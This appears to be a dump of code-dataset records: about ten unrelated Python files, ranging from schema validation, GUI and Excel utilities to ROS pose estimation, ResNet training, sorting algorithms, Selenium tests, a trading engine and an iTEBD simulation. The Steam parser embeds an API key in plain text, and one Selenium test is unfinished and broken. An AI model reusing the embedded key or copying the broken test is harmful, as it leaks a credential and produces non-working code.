pyramid.intersect(ray)[0] is None\n\n\n","sub_path":"test_geometry.py","file_name":"test_geometry.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"518916049","text":"from local_land_charges_api_stub.app import app\nfrom jsonschema import Draft4Validator, FormatChecker\nfrom local_land_charges_api_stub.extensions import schema_extension\n\n\ndef _check_for_errors(data, schema, resolver):\n validator = Draft4Validator(schema, format_checker=FormatChecker(), resolver=resolver)\n errors = []\n for error in validator.iter_errors(data):\n path = \"$\"\n while len(error.path) > 0:\n item = error.path.popleft()\n if isinstance(item, int): # This is an assumption!\n path += \"[\" + str(item) + \"]\"\n else:\n path += \".\" + item\n if path == '$':\n path = '$.'\n\n app.logger.warning(\"Error at %s Message: %s\", str(path), str(error.message))\n errors.append({\n \"error_message\": error.message,\n \"location\": path\n })\n\n return errors\n\n\ndef get_item_errors(data, version):\n app.logger.info(\"Validating against full schema\")\n errors = []\n error_check = _check_for_errors(data, schema_extension.inherited_schema[version],\n schema_extension.inherited_resolver[version])\n\n if error_check:\n app.logger.warning(\"Errors found - checking simplified schema\")\n # Simple schema produces clearer errors for returning to calling app.\n errors = _check_for_errors(data, schema_extension.simple_schema[version],\n schema_extension.simple_resolver[version])\n # Dynamically load module for semantic validation\n for rule in schema_extension.semantic_validators[version]:\n rule_errors = rule(data)\n\n for re in rule_errors:\n errors.append(re)\n return errors\n","sub_path":"local_land_charges_api_stub/validation/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"344501198","text":"from tkinter import *\r\nfrom tkinter import ttk\r\n\r\ndef convert(*args):\r\n try:\r\n value=int(fahrenheit.get())\r\n celsius.set((5/9)*(value-32))\r\n except ValueError:\r\n pass\r\n\r\nwindow = Tk()\r\nwindow.title(\"Fahrenheit to Celsius\")\r\n\r\nmainFrame = ttk.Frame(window, padding=\"12\")\r\nmainFrame.grid(sticky=(N,W,E,S))\r\n\r\nfahrenheit = StringVar()\r\ncelsius = StringVar()\r\n\r\nfahrenheit_entry = ttk.Entry(window, width=10, textvariable=fahrenheit)\r\nfahrenheit_entry.grid(row=1, column=2, sticky=(W,E))\r\nfahrenheit_entry.focus()\r\nttk.Label(window, text=\"Fahrenheit\").grid(row=1, column=3, sticky=W)\r\n\r\nttk.Label(window, text=\"equals to\").grid(row=2, column=1, sticky=E)\r\nttk.Label(window, textvariable=celsius).grid(row=2, column=2, sticky=(W,E))\r\nttk.Label(window, text=\"Celsius\").grid(row=2, column=3, sticky=W)\r\n\r\nttk.Button(window, text=\"Convert\", command=convert).grid(row=3, column=3, sticky=W)\r\n\r\nfor child in mainFrame.winfo_children(): child.grid_configure(padx=5, pady=5)\r\n\r\nwindow.bind('', convert)\r\nmainFrame.mainloop()","sub_path":"classEx/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"367357236","text":"#!/usr/bin/env python\n# encoding: utf-8\nimport sys\nimport os\nimport re\nimport xlwt\n\nif __name__ == \"__main__\":\n reader = open(sys.argv[1])\n excel_writer = xlwt.Workbook()\n table = excel_writer.add_sheet('MOGO')\n lineNum = 0\n for line in reader:\n args = re.split('\\ +', line.strip(\"\\n\"))\n for cloums in range(len(args)):\n table.write(lineNum, cloums, args[cloums])\n lineNum += 1\n excel_writer.save(sys.argv[2])\n","sub_path":"excel/ConverToExcel.py","file_name":"ConverToExcel.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"587871195","text":"#!/usr/bin/env python2\n\nimport rospy\nimport open3d as o3d\nimport numpy as np\nimport cv2\nfrom open3d_ros_helper import open3d_ros_helper as orh\nfrom scipy.spatial.transform import Rotation as R\nimport copy\nimport time\nimport sys\nimport tf\nimport tf2_ros\nimport geometry_msgs.msg\nimport sensor_msgs\nimport std_msgs\n\nfrom functions import *\n\nimport thread\nimport rtde_control\nimport rtde_receive\nimport xlsxwriter\n\n\nif __name__ == \"__main__\":\n\n file_time = str(int(time.time()))\n file_name = '/home/carlos/Desktop/results/sample_data_' + file_time + '.xlsx' \n workbook = xlsxwriter.Workbook(file_name)\n worksheet = workbook.add_worksheet()\n row = 0\n column = 0\n headers = [\"Component\", \"Source PCD points\", \"Target PCD points\", \"Correspondence Set\", \"Global time\", \"Global RMSE\", \"Local time\", \"Local RMSE\", \"Total time\"]\n for item in headers:\n worksheet.write(row, column, item)\n column+=1\n\n rospy.init_node('pose_estimation_node')\n pub_nbcomponents = rospy.Publisher(\"/pose_estimation/nb_components\", std_msgs.msg.String, queue_size=1)\n\n tfBuffer = tf2_ros.Buffer()\n listener = tf2_ros.TransformListener(tfBuffer)\n broadcaster = tf2_ros.TransformBroadcaster()\n static_broadcaster = tf2_ros.StaticTransformBroadcaster()\n\n ## Parameters\n distance_threshold_plane = 0.004\n voxel_size = 1.0\n\n print(\" :: Waiting for the scene reconstructed point cloud.\")\n data = rospy.wait_for_message(\"/pose_estimation/scene_reconstructed\", sensor_msgs.msg.PointCloud2, rospy.Duration(1000.0))\n scene_pcd = orh.rospc_to_o3dpc(data, remove_nans=True)\n\n print(\":: Loading cad_model point cloud.\")\n cad_file_path = \"/home/carlos/git/3DVisionMobileManipulation/catkin_ws/src/pose_estimation_pkg/data/m200.ply\"\n cad_model_pcd, origin_frame = load_cad_model(path=cad_file_path)\n o3d.visualization.draw_geometries([cad_model_pcd, origin_frame])\n source, source_down, source_fpfh, source_down_fpfh = preprocess_source_pcd(source=cad_model_pcd, voxel_size=voxel_size)\n\n distances = source.compute_nearest_neighbor_distance()\n avg_dist = np.mean(distances)\n print(\":: Cad model has %d points and avg_dist = %.6f\" %(len(source.points), avg_dist))\n distances = scene_pcd.compute_nearest_neighbor_distance()\n avg_dist = np.mean(distances)\n print(\":: Scene Point Cloud has %d points and avg_dist = %.6f\" %(len(scene_pcd.points), avg_dist))\n\n # DBSCAN Clustering\n start_dbscan = time.time()\n # instead of eps=0.01 (8 seconds), using eps=0.004 (3 seconds)\n scene_pcd_clustered, nb_clusters, scene_pcd = cluster_dbscan(cloud=scene_pcd, eps=0.004, min_samples=100, min_points_cluster = 2000, display=False)\n end_dbscan = time.time()\n print(\":: Clustering time: %.3f sec.\" %(end_dbscan - start_dbscan))\n print(\"------------------------------------------------------------------------------\\n\")\n o3d.visualization.draw_geometries(scene_pcd_clustered)\n\n # Global + Local Registration\n sample_data = []\n row = 1\n column = 0\n object_frames = []\n tf_components_frames = []\n frame_pose_estimation = []\n for i in range(nb_clusters):\n sample_data.append(str(i+1))\n frame_pose_estimation.append(o3d.geometry.TriangleMesh.create_coordinate_frame(size=0.05))\n\n print(\"\\n:: Calculating 6D Pose for component %d\" %(i + 1))\n target, target_down, target_fpfh, target_down_fpfh = preprocess_point_cloud(cloud=scene_pcd_clustered[i], \n voxel_size = voxel_size)\n result_ransac, time_ransac = execute_global_registration(source=source, target=target,\n source_fpfh=source_fpfh, target_fpfh=target_fpfh, \n voxel_size=voxel_size)\n draw_registration_result(source, target, result_ransac.transformation)\n\n sample_data.append(len(source.points))\n sample_data.append(len(target.points))\n sample_data.append(len(result_ransac.correspondence_set))\n sample_data.append(time_ransac)\n sample_data.append(result_ransac.inlier_rmse)\n\n result_icp, time_icp = execute_local_registration(source=source, target=target,\n result_ransac=result_ransac, voxel_size=voxel_size)\n registration_time = time_ransac + time_icp\n print(\">> Registration TIME for component %d : %.3f sec.\" %(i+1, registration_time))\n print(\"------------------------------------------------------------------------------\\n\")\n draw_registration_result(source, target, result_icp.transformation)\n frame_pose_estimation[i].transform(result_icp.transformation)\n\n sample_data.append(time_icp)\n sample_data.append(result_icp.inlier_rmse)\n sample_data.append(registration_time)\n\n object_frame = \"object_frame_\" + str(i+1)\n object_frames.append(object_frame)\n ref_frame = \"view0_frame\"\n tf_components_frames.append(result_icp.transformation)\n broadcaster_component_frame(static_broadcaster, ref_frame, object_frame, np.asarray(result_icp.transformation))\n\n for item in sample_data:\n worksheet.write(row, column, item)\n column+=1\n row+=1\n column = 0\n sample_data = []\n try: \n print(\"Publishing components TF frames...\")\n thread.start_new_thread(publish_components_pose, (static_broadcaster, object_frames, tf_components_frames))\n except:\n print(\"ERROR\")\n\n print(\"6D Pose Estimation Module finished!\")\n\n frame_pose_estimation.append(scene_pcd)\n o3d.visualization.draw_geometries(frame_pose_estimation)\n\n row+=1\n headers = [\"Component\", \"X\", \"Y\", \"Z\", \"Rx\", \"Ry\", \"Rz\", \"y1\", \"y2\", \"y3\"]\n for item in headers:\n worksheet.write(row, column, item)\n column+=1\n\n for i in range(len(object_frames)):\n time.sleep(1.0)\n pub_nbcomponents.publish(str(nb_clusters))\n\n base_frame = \"base\"\n list_transform_base_component = []\n for i in range(nb_clusters):\n component_frame = \"object_frame_\" + str(i+1)\n list_transform_base_component.append(tfBuffer.lookup_transform(base_frame, component_frame, rospy.Time(0)))\n\n pose_data = []\n column = 0\n row+=1\n for i in range(int(nb_clusters)):\n pose_data.append(str(i+1))\n\n tf_transform_base_component = list_transform_base_component[i]\n t, rot_vector, y_axis_original = get_t_rotvector_component(tf_transform_base_component=tf_transform_base_component)\n \n pose_data.append(t[0])\n pose_data.append(t[1])\n pose_data.append(t[2])\n pose_data.append(rot_vector[0])\n pose_data.append(rot_vector[1])\n pose_data.append(rot_vector[2])\n pose_data.append(y_axis_original[0])\n pose_data.append(y_axis_original[1])\n pose_data.append(y_axis_original[2])\n\n for item in pose_data:\n worksheet.write(row, column, item)\n column+=1\n row+=1\n column = 0\n pose_data = []\n\n workbook.close()\n rospy.spin()\n\n quit()\n","sub_path":"catkin_ws/build/pose_estimation_pkg/catkin_generated/installspace/pose_estimation.py","file_name":"pose_estimation.py","file_ext":"py","file_size_in_byte":7204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"129572542","text":"import requests;\n\nr = requests.get(\"http://api.csgo.steamlytics.xyz/v1/items?key=abaded45347a777a0b11eb028072c7ec\");\ndata = r.json();\nfile = open(\"ItemList.txt\",\"w\",encoding='utf-8');\nfor i in data['items']:\n file.write(i['market_hash_name']+\"\\n\");\nfile.close();\n#print(data['items'].keys());\n#print(data);\n#print (data['market_hash_name']);\n","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"465521815","text":"from keras.layers import Convolution2D, MaxPooling2D, ZeroPadding2D, GlobalAveragePooling2D\nfrom keras.layers.core import Dense, Activation, Flatten, Dropout\nfrom keras.models import Model, Sequential\nfrom keras.layers import Input\nfrom keras.utils import np_utils\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras import optimizers, regularizers\nfrom sklearn.model_selection import train_test_split\nfrom keras.applications.resnet50 import ResNet50\nfrom keras.models import model_from_json\nimport keras\nimport numpy as np\nimport pickle, h5py, time\n\n\nbatch_size = 32\nnum_classes = 10\n\n# driver_pkl = open('driver.pkl', 'rb')\n# driver_id, unique_drivers = pickle.load(driver_pkl)\nfile = h5py.File('train.h5', 'r')\ndata = file['data'][:]\nlabel = file['label'][:]\nfile.close()\n\nfile = h5py.File('test.h5', 'r')\nx_test = file['X_test'][:]\ny_test = file['y_test'][:]\nfile.close()\nprint(\"Data loaded!\")\n\ndef split_validation_set(train, target, test_size):\n# random_state = 51\n X_train, X_test, y_train, y_test = train_test_split(train, target, test_size=test_size)\n return X_train, X_test, y_train, y_test\n\nx_train, x_val, y_train, y_val = split_validation_set(data, label, 0.1)\n\n# def copy_selected_drivers(train_data, train_target, driver_id, driver_list):\n# data = []\n# target = []\n# index = []\n# for i in range(len(driver_id)):\n# if driver_id[i] in driver_list:\n# data.append(train_data[i])\n# target.append(train_target[i])\n# index.append(i)\n# data = np.array(data, dtype=np.float32)\n# target = np.array(target, dtype=np.float32)\n# index = np.array(index, dtype=np.uint32)\n# return data, target, index\n\n# yfull_train = dict()\n# unique_list_train = ['p061', 'p012', 'p014', 'p015', 'p016', 'p021', 'p022', 'p024',\n# 'p026', 'p035', 'p039', 'p041', 'p042', 'p045', 'p047', 'p049',\n# 'p050', 'p051', 'p052', 'p056']\n# x_train, y_train, train_index = copy_selected_drivers(data, label, driver_id, unique_list_train)\n# unique_list_valid = ['p002']\n# x_val, y_val, val_index = copy_selected_drivers(data, label, driver_id, unique_list_valid)\n\nprint('Start Single Run')\nprint('Train Sample: ', x_train.shape, len(y_train))\nprint('Validation Sample: ', x_val.shape, len(y_val))\n\nstart = time.clock()\n# print('Train drivers: ', unique_list_train)\n# print('Test drivers: ', unique_list_valid)\n\ninput_tensor = Input(shape=x_train.shape[1:])\nbase_model = ResNet50(include_top=False, weights='imagenet', input_tensor=input_tensor)\nx = base_model.output\nx = Flatten()(x)\nx = Dense(512, activation='relu')(x)\nx = Dropout(0.5)(x)\nprediction = Dense(10, activation='softmax')(x)\n\nmodel = Model(input=base_model.input, output=prediction)\n# model.load_weights('pre_weight.h5')\n# for layer in base_model.layers:\n# layer.trainable = False\n\n# model.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=['accuracy'])\n\ndatagen = ImageDataGenerator(\n rotation_range=40,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\n# earlyStop = keras.callbacks.EarlyStopping(monitor='val_loss', patience=0, verbose=0)\n# filepath = 'weight_best.h5'\n# checkPoint = keras.callbacks.ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True)\n# model.fit_generator(datagen.flow(x_train, y_train, batch_size=batch_size), \n# samples_per_epoch=x_train.shape[0], callbacks=[checkPoint, earlyStop],\n# nb_epoch=30, validation_data=(x_val, y_val), \n# nb_val_samples=x_val.shape[0])\n\n# for i, layer in enumerate(base_model.layers):\n# print(i, layer.name)\n\n# for layer in model.layers[:106]:\n# layer.trainable = False\n# for layer in model.layers[106:]:\n# layer.trainable = True\n\nopt = keras.optimizers.SGD(lr=1e-4, momentum=0.9)\nearlyStop = keras.callbacks.EarlyStopping(monitor='val_acc', patience=0, verbose=0)\nfilepath='weights_best.h5'\ncheckPoint = keras.callbacks.ModelCheckpoint(filepath, monitor='val_acc', verbose=1, save_best_only=True)\nmodel.compile(optimizer=opt, loss='categorical_crossentropy', metrics=['accuracy'])\nmodel.fit_generator(datagen.flow(x_train, y_train, batch_size=batch_size), \n samples_per_epoch=x_train.shape[0], callbacks=[earlyStop,checkPoint],\n nb_epoch=30, validation_data=(x_val, y_val), \n nb_val_samples=x_val.shape[0])\n\nend = time.clock()\nprint('Running time: %s Seconds'%(end-start))\nscore = model.evaluate(x_test, y_test, verbose=1) # 评估测试集loss损失和精度acc\nprint('Test score(val_loss): %.4f' % score[0]) # loss损失\nprint('Test accuracy: %.4f' % score[1]) # 精度acc\n\nmodel.save_weights('resNet_model.h5')\nwith open('resNet_model.json', 'w') as f:\n f.write(model.to_json())\n \n","sub_path":"resNet_model.py","file_name":"resNet_model.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"563989863","text":"\"\"\"\nbubble sort\nheap sort\nquick sort\ninsertion sort\nselection sort\n\"\"\"\n\nlst = [1, 2, 5, 6, 11, 100, 55, 88, 99, 67]\n\n\ndef bubble_sort(numbers):\n for solda_kalanlar in range(len(numbers) - 1, 0, -1):\n for index in range(solda_kalanlar):\n if numbers[index] > numbers[index + 1]:\n numbers[index], numbers[index + 1] = numbers[index + 1], numbers[index]\n return numbers\n\ndef siftdown(lst, start, end):\n largest = end\n l = 2 * end + 1\n r = 2 * end + 2\n if l < start and lst[largest] < lst[l]:\n largest = l\n if r < start and lst[largest] < lst[r]:\n largest = r\n if largest != end:\n lst[end], lst[largest] = lst[largest], lst[end]\n siftdown(lst, start, largest)\n\ndef heap_sort(lst):\n for i in range(len(lst)//2 - 1, -1, -1):\n siftdown(lst, len(lst), i)\n for i in range(len(lst) - 1, 0, -1):\n lst[i], lst[0] = lst[0], lst[i]\n siftdown(lst, i, 0)\n return lst\n\ndef insertion_sort(lst):\n i = 0\n j = 0\n for index in range(len(lst)):\n j = index\n while(j > 0) and (lst[j - 1] > lst[j]):\n lst[j-1], lst[j] = lst[j], lst[j-1]\n j -= 1\n return lst\n\ndef selection_sort(lst):\n for i in range(len(lst)):\n min_id = i\n for j in range(i + 1, len(lst)):\n if lst[min_id] > lst[j]:\n min_id = j\n lst[i], lst[min_id] = lst[min_id], lst[i]\n return lst\n\ndef partition(lst, low, high):\n i = (low - 1)\n pivot = lst[high]\n\n for j in range(low, high):\n if lst[j] < pivot:\n i = i+1\n lst[i], lst[j] = lst[j], lst[i]\n lst[i+1], lst[high] = lst[high], lst[i+1]\n return i+1\n\ndef quick_sort(lst, low, high):\n if low < high:\n pi = partition(lst, low, high)\n quick_sort(lst, low, pi-1)\n quick_sort(lst, pi+1, high)\n return lst\n\n\nprint(quick_sort(lst, 0, len(lst) - 1))\n","sub_path":"python-dersleri/siralama_algoritmalari.py","file_name":"siralama_algoritmalari.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"99485733","text":"import pytest\nfrom framework.action_framework import Actions\nfrom framework.conditions import XpathExists\nfrom framework.selector import Selector, Using\nfrom pages.google.pages_google import Search\n\n\n@pytest.mark.debug\ndef test_google_search(actions: Actions):\n \"\"\"\n Szukaj z uzyciem samych actions'ow\n Mozesz dodawac funkcje jakie dusza zapragnie i wywolywac selenium poprzez actions,\n tam jest pod spodem duzo ogarniete\n czyli robisz np:\n actions.click(selector)\n actions.type_text(selector, text)\n actions.submit()\n itd. omowimy se to\n \"\"\"\n driver = actions.driver\n search_text = 'dr dissrespect' # tekst do wpisania\n driver.get('https://google.pl') # otworz gugle\n search_input_selector = Selector(Using.NAME, 'q') # definiujesz kontrolke (to se omowic bardziej mozemy)\n actions.type_text(search_input_selector, search_text) # wpisz text\n actions.submit() # submit formularza\n search_result_exist_xpath = \"//div[@class='g']\" # xpath do poczekania\n actions.wait_for(XpathExists(search_result_exist_xpath)) # jesli ten xpath istnieje to kolejny ekran sie zaladowal\n\n title = driver.title # odczytaj tytul stronki\n assert search_text in title, f\"tytul strony powinien zawierac: {search_text}\" # asercja\n\n@pytest.mark.pop\ndef test_google_search_with_page_object(actions: Actions):\n \"\"\"\n Szukaj z uzyciem page objecta - to se pokminisz z czasem - prosty patern\n \"\"\"\n search_text = 'dr dissrespect'\n search_page = Search(actions) # tworze obiekt pagea\n search_page.search_for(search_text) # wywoluje na nim metode szukaj\n driver = actions.driver\n title = driver.title # odczytaj tytul stronki\n assert search_text in title, f\"tytul strony powinien zawierac: {search_text}\" # asercja\n\n@pytest.mark.menelfun\ndef test_menel_fun(actions: Actions):\n search_text = 'who\\'s better bryant or jordan'\n search_page = Search(actions)\n search_page.search_for(search_text)\n #search_page.actions.click(Using.)\n driver = actions.driver\n element_clickon = Selector('''a pierdole nie wiem jak kliknąć''')\n search_page.actions.click()\n title = driver.title\n","sub_path":"tests/t_google_test.py","file_name":"t_google_test.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"562948332","text":"\n\nfrom asyncio.tasks import sleep\nimport time\nfrom typing import Tuple\nimport win32api\nimport asyncio\nimport threading\n\nfrom .config import *\n\nfrom .TimeMachine import *\nfrom .Exchange.Exchange import *\nfrom .Exchange.Binance import *\nfrom .ManualTrader.ManualTrader import *\nfrom .AutoTrader.AutoTrader import *\nfrom .AITrainer.AITrainer import *\nfrom .TraderTrainer.TraderTrainer import *\nfrom .ThreadOnTimeMachine import *\n\nfrom .Trader.TraderFactory import *\nfrom .Exchange.ExchangeFactory import *\n\nfrom .Exchange.Utility import *\n\nclass Engine(threading.Thread):\n\n def __init__(self):\n print('Engine being created...')\n\n self.running = False\n\n def run(self):\n asyncio.run(Binance._singleton.Maintain_GStreams())\n\n def Start(self, structuralParams, timingParams):\n if not self.running:\n threading.Thread.__init__(self)\n print('Starting engine...')\n\n Binance.Initialize()\n self.name = structuralParams['Name']\n self.traders = [ TraderFactory.CreateTrader(traderParams, timingParams) for _, traderParams in structuralParams['Traders'].items() ]\n\n self.start() # run on thread.\n print('Streaming started.')\n \n ts_mili = round( dt.datetime.timestamp(dt.datetime.now()) * 1000 )\n interval_mili = round( BasicIntervalMin * 60 * 1000 )\n sleep_sec = (interval_mili - round(ts_mili) % round(interval_mili)) / 1000 + 5 # Binance streaming event time lags less than 5 seconds behind real time.\n self.Start_Traders(sleep_sec)\n print('Engine started.')\n self.running = True\n return True\n\n def Start_Traders(self, sleep_sec):\n print('Sleeping {:.1f} seconds before launching the time machine.'.format(sleep_sec))\n tm.sleep(sleep_sec)\n \n for trader in self.traders: trader.Start() # This will create Binance._singleton, among others.\n \n return\n\n def Stop(self):\n if self.running:\n stopped = None\n\n for trader in self.traders: trader.Stop()\n print('Signaled traders to stop.')\n for trader in self.traders: trader.Join()\n print('Traders stopped.')\n\n signaled = asyncio.run(Binance._singleton.Stop_Maintain_GStreams())\n print('Signaled the streams to stop.')\n\n if signaled:\n self.join()\n stopped = True\n self.running = False\n print('Streaming stopped.')\n else:\n stopped = False\n\n print('Engine stopped.')\n\n else:\n stopped = True\n\n return stopped\n\n\n def TestCall(self, message):\n print('Engine is called on TestCall: {}'.format(message))\n\n\n def Get_N_Products(self, dataType = 'klines', symbols_to_include = [], interval = '1m'):\n n_products = 0\n\n with Binance.lock_gstream:\n for key, (_, _, _, _, _, t_state) in Binance.gstreams.items():\n [_dataType, _symbol, _interval] = key.split('.')\n if dataType == _dataType and (symbols_to_include is None or _symbol in symbols_to_include) and interval == _interval and t_state & T_State.no_missing:\n n_products += 1\n return n_products\n\n\n def Get_Recent_Prices(self, dataType, symbols_to_include, interval, nRows = None, nProducts = None, symbols_to_exclude = None):\n products_prices = {}\n\n gstreams = {}\n with Binance.lock_gstream:\n for key, (_, _, _, _, _, t_state) in Binance.gstreams.items():\n gstreams[key] = t_state\n\n for key, t_state in gstreams.items():\n [_dataType, _symbol, _interval] = key.split('.')\n if symbols_to_exclude is None or _symbol not in symbols_to_exclude:\n if dataType == _dataType and (symbols_to_include is None or _symbol in symbols_to_include) and interval == _interval and t_state & T_State.no_missing:\n dataframe = Binance._singleton.Get_Recent_Prices(_dataType, _symbol, _interval, nRows)\n products_prices[_symbol] = dataframe\n if nProducts is not None and len(products_prices) >= nProducts:\n break\n \n return products_prices\n\n def Start_Add_To_Plot(self, Add_To_Plot):\n Binance.Start_Add_To_Plot(Add_To_Plot)\n \n#bn = Binance.instantiate()\n#bn.Download_Daily_Data(['klines'], ['ETHUSDT'], ['1m'], dt.datetime(2021, 5, 23), dt.datetime(2021, 6, 5) )\n\n#bn.Get_Data(['ETHUSDT'], ['1m'], datetime(2021, 5, 26), datetime(2021, 6, 2), Config['Data'])\n#bn.Load_Stream(['ETHUSDT'], ['1m'], Config['Data'])\n#n = bn.GetExchangeTimeMili()\n\n# engine.Start()\n\n\n","sub_path":"Engine/___Engine.py","file_name":"___Engine.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"497680015","text":"#iTEBD2 \n#Author: Samuel Begg, contractions based on code of Frank Pollman and original paper of Vidal\n#Date: 11/09/2020\n#2nd order trotter [O(dt^3) accuracy] + adaptive bond dimension size + schmidt cut-off\n\nimport MPS_methods as mps\nimport numpy as np\nimport copy\nfrom joblib import Parallel, delayed\nimport multiprocessing as mp\nimport numpy.random as rand\nimport scipy.linalg as lin\nimport scipy.io as spio\nimport matplotlib.pyplot as plt\n\n##################################################\n#Control Panel\ncycle_times = 500 #cycle_times*delta = physical simulation time\ntimes = 3*cycle_times #number of steps\nchiM = 30 #max bond dimension\nd = 2; #physical dimension\ndelta =0.01; #time-step \ncut_off = 10**(-15)\n\n#Hamiltonian Parameters\nJ = 1.0\nJx = 0.5\nJy = 1.3\nhx = 2.0\n\nplotting = 1 #generate plots = 1, no plots = 0\nsave = 1 #save data = 1, no save = 0\n###########################################################################\n#Initialize MPS\n\nG =[]\nG =G + [np.asarray(np.zeros((d,1,1),dtype = complex))]\nG =G + [np.asarray(np.zeros((d,1,1),dtype = complex))]\n\n#Default all-up state \nG[0][0,0,0]=1.0\nG[0][1,0,0]=0.0\nG[1][0,0,0]=1.0\nG[1][1,0,0]=0.0\nl = []\n#Product State\nl = l + [[1.0]]\nl = l + [[1.0]]\n#Bond Dimension\nchi = 1\n\n#Can also initialize random tensor\n#G = [np.random.rand(d,chi,chi)] + [np.random.rand(d,chi,chi)] \n#l = [np.random.rand(chi)] + [np.random.rand(chi)] \n\n#######################################################\n#Create 2-gate unitary\n\n#Initialise Pauli Matrices\nSx = 0.5*np.asarray([[0,1.0],[1.0, 0]])\nSy = 0.5*np.asarray([[0,-1.0j],[1.0j, 0]])\nSz = 0.5*np.asarray([[1.0,0],[0,-1.0]])\n\n# Create 2-site Hamiltonian\nH = -J*np.kron(Sz,Sz) - Jx*np.kron(Sx,Sx) - Jy*np.kron(Sy,Sy)- 0.5*hx*np.kron(np.identity(2),Sx) - 0.5*hx*np.kron(Sx,np.identity(2))\n\n#Uf-even gates, Uh-odd gates (f for full time-step, h for half time-step in 2nd order trotter)\nUf = np.reshape(lin.expm(-1j*H*delta) ,(2,2,2,2))\nUh = np.reshape(lin.expm(-1j*H*delta/2) ,(2,2,2,2))\n######################################################\n#Alternative: Can diagonalize at this stage.\n#w,v = np.linalg.eig(H)\n#Uf = np.reshape(np.dot(np.dot(v,np.diag(np.exp(-1j*delta*(w)))),np.transpose(v)),(2,2,2,2))\n#Uh = np.reshape(np.dot(np.dot(v,np.diag(np.exp(-1j*(delta/2.0)*(w)))),np.transpose(v)),(2,2,2,2))\n######################################################\n#Initialise Observables and Diagnostic Variables \n\n#Observables\nnorm = np.zeros(cycle_times)\nmag = np.zeros(cycle_times,dtype = complex)\nobs = np.zeros(cycle_times,dtype = complex)\nobs2 = np.zeros(cycle_times)\nobs3 = np.zeros(cycle_times)\nentang = np.zeros(cycle_times)\nentang2 = np.zeros(cycle_times)\n#Diagnostics\nchiA_store = np.zeros(cycle_times)\nlargest = np.zeros(cycle_times)\nmini = np.zeros(cycle_times)\nsums = np.zeros(cycle_times)\n\n#########################################################\n#Perform time evolution using 2nd order trotter algorithm\n\nkk = 0 #keeps track of physical time, whereas step is number of gate layers\n# Perform the time evolution alternating on A and B bonds (ABAABAAB..i.e. gates UhUfUhUhUfUh..) \n\nfor step in range(0,times):\n #2nd order trotter \n if np.mod(step,3) == 1:\n A = 1\n B = 0\n U = copy.deepcopy(Uf)\n else:\n A = 0\n B = 1\n U = copy.deepcopy(Uh)\n\n chiA = np.size(l[A][:])\n chiB = np.size(l[B][:])\n \n # Construct theta\n theta = np.tensordot(np.diag(l[B][:]),G[A][:,:,:],axes=(1,1)) \n theta = np.tensordot(theta,np.diag(l[A][:],0),axes=(2,0))\n theta = np.tensordot(theta,G[B][:,:,:],axes=(2,1))\n theta = np.tensordot(theta,np.diag(l[B][:],0),axes=(3,0))\n # Apply imaginary-time evolution operator U\n theta = np.tensordot(theta,U,axes=([1,2],[0,1]));\n # Perform singular-value decomposition\n theta = np.reshape(np.transpose(theta,(2,0,3,1)),(d*chiB,d*chiB));\n X, Y, Z = np.linalg.svd(theta); Z = Z.T #U,S,Vh. Z transposed for convenience in manip.\n # Truncate the bond dimension back to chi and normalize the state\n \n chiA = np.size(Y) \n l[A] = Y/np.sqrt(sum(Y**2))\n \n if chiA > chiM: #truncate bond dimension \n chiA = chiM\n l[A] = np.zeros(chiA)\n l[A]= Y[0:chiA]/np.sqrt(sum(Y[0:chiA]**2))\n print('bond dim: max size truncate',chiA)\n \n aa = 0\n for ff in range(0,chiA): #remove small schmidt values\n if aa == 0:\n if (l[A][ff] < cut_off):\n chiA = ff\n l[A]= l[A][0:chiA]/np.sqrt(sum(l[A][0:chiA]**2))\n aa = 1 \n print('bond dim: small elements truncate',chiA)\n\n\n X=np.reshape(X[0:d*chiB,0:chiA],(d,chiB,chiA))\n G[A]= np.zeros((np.shape(X))) \n G[B]= np.zeros((np.shape(Z))) \n G[A]=np.transpose(np.tensordot(lin.inv(np.diag(l[B][:])),X,axes=(1,1)),(1,0,2));\n Z=np.transpose(np.reshape(Z[0:d*chiB,0:chiA],(d,chiB,chiA)),(0,2,1)) #transpose operations are for treatment of Z like X, so have to transpose back.\n G[B] =np.tensordot(Z,lin.inv(np.diag(l[B][:])),axes=(2,0));\n\n A_mat = []\n A_mat= A_mat + [G[A]]\n A_mat= A_mat + [G[B]]\n B_mat = []\n B_mat= B_mat + [X]\n B_mat= B_mat + [Z]\n\n\n if np.mod(step,3)==2: #After succession of gates we make a `measurement'\n print(step,kk) \n\n \n if np.mod(kk,2)==0:\n chiA_store[kk] = chiA \n else: \n chiA_store[kk] = chiA_store[kk-1]\n\n norm[kk] = mps.Normalisation_Infinite(B_mat,l,A)\n mag[kk] = mps.Mag_Infinite(B_mat,l,A)\n obs[kk] = mps.Obs_Infinite(B_mat,l,A,Sz,Sz) \n obs2[kk] = mps.Obs_Infinite(B_mat,l,A,Sx,Sx) \n obs3[kk] = mps.Obs_Infinite(B_mat,l,A,np.identity(2),Sz)\n entang[kk] = 